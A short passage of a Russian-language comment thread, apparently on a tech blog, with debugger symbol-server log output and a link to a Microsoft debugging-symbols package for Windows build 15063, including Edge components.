              SYMSRV: HttpQueryInfo: 801900c8 - HTTP_STATUS_OK
              SYMSRV: winhttp.pdb from https://msdl.microsoft.com/download/symbols: 896000 bytcopied
              SYMSRV: PATH: c:\symbols\winhttp.pdb\013B00E572534989CA2DB49F19F180471\winhttp.pdb
              SYMSRV: RESULT: 0x00000000
              DBGHELP: winhttp - public symbols
              c:\symbols\winhttp.pdb\013B00E572534989CA2DB49F19F180471\winhttp.pdb
                0

                Не знаю почему, но символы для большого количества модулей из рассматриваемой версии Windows действительно отсутствую на серверах публичных символов Microsoft.


                Однако, мне удалось найти пакет символов для данной сборки, который включает также и символы для компонентов Edge. Найденный пакет я и использовал при отладке. Скачать его можно по ссылке: https://download.microsoft.com/download/6/9/C/69C86A1F-C8E9-4F28-B6FC-9FA2BCE98BC0/Windows_Rs2.15063.0.170317-1834.x64FRE.Symbols.msi

                  +1
                  спасибо в очередной раз, работает :)

          Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

          Самое читаемое